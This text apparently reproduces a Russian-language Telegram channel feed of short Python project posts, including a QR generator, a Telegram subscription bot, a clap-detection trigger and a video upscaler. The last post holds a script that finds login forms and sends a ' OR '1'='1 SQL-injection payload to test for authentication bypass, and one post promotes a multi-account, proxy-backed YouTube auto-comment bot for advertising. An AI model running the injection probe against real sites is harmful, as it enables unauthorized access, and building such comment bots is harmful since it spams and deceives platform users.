Абьюзер СhatGPT 💄 REBORN

Парни, хватит писать в бота для связи со мной вопрос о медиа-файлах и почему им не дали тестовое задание. В заявке медиа-файлы, это код или скрины Ваших проектов, которыми Вы хотели бы дополнить заявку. Те, кто это спрашивают - не внимательны, не умеют читать, что сразу авто-минус. Вот же абзац в анонсе, где я говорю, что тестовое задание только после ПОДТВЕРЖДЕНИЯ И ПРИГЛАШЕНИЯ В ЗАКРЫТЫЙ КАНАЛ! P.S. - прием заявок до воскресенья!!!

📱 А это, к слову, еще одно YouTube-ориентированное решение: - авто-комент новых видео на указанных каналах; - учитывается контекст видео, т.к. производится его загрузка и транскрибация; - учитывается пользовательский промпт - можно рекламировать что угодно; - мульти-аккаунт; - поддержка прокси. 🚀 Вот, еще одно решение для счастливого заказчика ❤️ P.S. сегодня делаем стрим с отбором заявок, чи шо?

🚀 Кстати, вот крутой инструмент для детекта не только текста, но и объектов. Знакомьтесь с RF-DETR — реализацией мощной модели на основе Трансформеров от Roboflow. 🤖 Модель работает без сложных настроек "якорных ящиков" (anchor boxes), что делает её умнее и точнее на сложных сценах. Где можно применить RF-DETR?: 🔍 Точный ритейл: Идеальный подсчет мелких товаров на полках или складе. 🏭 Производство: Обнаружение крошечных дефектов или аномалий на конвейерной ленте. 🌱 Агротех: Мониторинг плодов на деревьях, даже если они частично перекрыты листьями. 🔬 Медицина: Выделение и подсчет клеток или других элементов на медицинских снимках. 🥈 Безопасность: Детекция объектов в толпе или в условиях плохой видимости. Как видите, инструмент крутой. У кого-то в комментариях была задача детектить номера автомобилей - вот, с этой штукой, если ее натренировать - можно и будет классный результат! 📱 Репозиторий. ‼️ P.S. учите английски, парни. Все крутые инструменты с сопровождение только на английском обычно.

🚀 А вот и интерфейс вкладки с апскейлом видео, который я уже впилил в апскейлер картинок. Но даю не только интерфейс, а и пример - небольшой отрывок видео. В отличие от прошлого, который я давал - здесь есть динамические сцены. И, вопреки мыслителям из ТикТок, артефактов почему-то нет... :D Время на такой 40-секундный ролик, около 2-х минут. То есть, серию Берсерка за час обработать получится. Если у вас по-более VRAM, и карта ПОТУЖНЕЕ, то и результат будет лучше. У меня 2070 Super. ✍️ Сегодня собрать вряд ли успею, думаю, будет завтра. Как вам результат❓

🖥 В целом мой курс будет начинаться с предложения скачать вот такой вот софт. Это не обязательно но многим может упростить их путь в начале: 1) Поможет скачать последнюю актуальную версию IDE под ОС пользователя; 2) А также Python из последних актуальных релизов. Будут и рекомендации по правильной установке. 📱 Будет кросс-платформа. Софт сам определяет, на какой платформе запущен, от этого и делает выбор, для какой платформы качать установщик". Страничку с choco я еще заполню командами. Сейчас там уже есть вкладки (медиа, разработка, веб-разработка и т.д.) с командами для экспресс-установки рабочих инструментов. В одну строчку можно установить все те же IDE, Python, Node JS, драйвера, кодеки и даже Steam :D 🧠 На третьей страничке - ссылки на ресурсы, которые явно помогут в обучении, особенно на начальном этапе. Постарался собрать там и RU/Eng источники, чтобы всем все было понятно. Пока что так. .exe под Windows мб дам сюда сегодня-завтра.

👀 Скрипт ловит два хлопка, на них можно настроить что угодно. В проекте две реализации: - открытие ДОТЫ2; - запуск голосового ассистена Gemini (нужен API-ключ). Забавно, можно найти применение. ⚙️ Как это работает: В основе всего лежит технология обнаружения хлопков в реальном времени. Этот процесс реализован как в Python-скриптах, так и в прототипах на MATLAB: - захват аудио: скрипты непрерывно слушают аудиопоток с микрофона с частотой дискретизации 44100 Гц. Аудио делится на короткие фрагменты (фреймы) длительностью 20 мс; - фильтрация: хлопок имеет характерный частотный спектр. Чтобы отсеять посторонние шумы (голос, музыку, звуки улицы), каждый фрейм проходит через полосовой фильтр Баттерворта. Фильтр пропускает только частоты в диапазоне от 1400 Гц до 1800 Гц. К фреймам применяется оконная функция Ханна для сглаживания и уменьшения спектральных искажений; - детекция пиков: в отфильтрованном сигнале скрипт ищет резкие всплески амплитуды (пики), которые превышают заданный порог (например, 0.2); - защита от ложных срабатываний: Чтобы один громкий хлопок не был засчитан как два, установлена минимальная задержка между обнаруженными пиками — 0.2 секунды. ✍️ Отличный пример того, как можно объединить классические алгоритмы обработки сигналов для создания надёжного триггера и подключить к нему мощь современных нейросетей для выполнения осмысленных задач.

‼️ Даю пушку (!) для тех, кто точно не хочет быть замененным нейросетями :D Репозиторий llm-engineer-toolkit на GitHub представляет собой тщательно подобранный список из более чем 120 библиотек для работы с большими языковыми моделями (LLM). Эти инструменты сгруппированы по различным категориям применения. В этом наборе вы найдете ресурсы для: - Обучения и донастройки LLM - Фреймворков для разработки приложений на основе LLM - Подготовки данных и доступа к нескольким API - Retrieval-Augmented Generation (RAG) с использованием LLM - Инференса и развертывания LLM - Извлечения и генерации данных - Создания и оценки агентов на базе LLM - Мониторинга - Инженерии промптов - Получения структурированных выводов - Обеспечения безопасности - Работы с моделями вложений (embedding models) 🚀 Чтобы не остаться за бортом, нужно учиться парни (и не дай бог тут есть девушки). P.S. ваш дурень поспешил и дал пост без ссылки. Вот репозиторий.

⚙️ Генерирует QR со ссылки, любого текста. import qrcode from PIL import Image def generate_qr_code(data, filename="qr_code.png"): qr = qrcode.QRCode( version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=10, border=4, ) qr.add_data(data) qr.make(fit=True) img = qr.make_image(fill_color="black", back_color="white") img.save(filename) return filename if __name__ == "__main__": print("Генератор QR-кодов") input_data = input("Введите текст или ссылку для кодирования в QR-код: ") output_filename = input("Введите имя файла для сохранения QR-кода (например, my_qr.png) или нажмите Enter для 'qr_code.png': ") if not output_filename: output_filename = "qr_code.png" elif not output_filename.lower().endswith(('.png', '.jpg', '.jpeg', '.bmp', '.gif')): output_filename += ".png" saved_file = generate_qr_code(input_data, output_filename) print(f"QR-код успешно создан и сохранен как '{saved_file}'") Ниже зависимости: pip install qrcode Pillow

Telegram-бот для продажи подписок на закрытые каналы/чаты 🚀 Удобный инструмент, который поможет вам легко монетизировать ваши закрытые каналы, принимая оплату напрямую в Telegram Stars 🌟. При наличии прямых рук, можно и USDT, и рубли, и гривны прикрутить. 🖥 Что умеет бот: - Автоматически выдает доступ к вашему приватному каналу сразу после успешной оплаты Stars. - Предлагает пользователям понятное меню: "Купить подписку", "О проекте", "Отзывы" и "Гарантии". - Имеет гибкую админ-панель, где вы сможете: 💰 Менять цену подписки. 📝 Редактировать все тексты и описания. 🔗 Обновлять ссылки на каналы (основной и с отзывами). 👁 Включать или отключать кнопки в пользовательском меню. 🖼 Позволяет устанавливать свои картинки для каждого этапа меню! (в .env нужно путь указать). Стек: - aiogram; - python-dotenv. P.S. для stars провайдера указывать не нужно, в .env оставить пустым. Картинки на каждом етапе меню также могут быть, просто укажите путь к ним в .env. Скачать проект.

Скрипт для проверки ресурса на уязвимость к SQL-инъекции. Вайб-кодерам, которые пишут сайты - привет ;) import requests from bs4 import BeautifulSoup import logging # Настройка логирования logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) def find_login_forms(url): """ Ищет формы входа на указанном веб-сайте. Args: url (str): URL веб-сайта. Returns: list: Список URL-адресов форм входа. """ try: response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') forms = soup.find_all('form') login_forms = [] for form in forms: if 'login' in str(form).lower() or 'sign' in str(form).lower(): action = form.get('action') if action: login_forms.append(action) return login_forms except Exception as e: logger.error(f"Ошибка при поиске форм входа на {url}: {e}") return [] def check_sql_injection(url): """ Проверяет уязвимость SQL-инъекции на указанном URL. Args: url (str): URL для проверки. Returns: bool: True если уязвимость обнаружена, иначе False. """ payload = "' OR '1'='1" test_url = f"{url}?username={payload}&password={payload}" try: response = requests.get(test_url) if "welcome" in response.text.lower() or "dashboard" in response.text.lower(): logger.info(f"Возможная уязвимость SQL-инъекции на {url}") return True else: logger.info(f"Уязвимость SQL-инъекции не обнаружена на {url}") return False except Exception as e: logger.error(f"Ошибка при проверке SQL-инъекции на {url}: {e}") return False if __name__ == "__main__": target_url = "http://example.com/login" login_forms = find_login_forms(target_url) for form_action in login_forms: full_url = f"http://example.com{form_action}" vulnerable = check_sql_injection(full_url) print(f"URL: {full_url} | SQL Injection Vulnerable: {vulnerable}") P.S. нормальные ресурсы имеют 100% защиту от такого уже последние 2-3 года.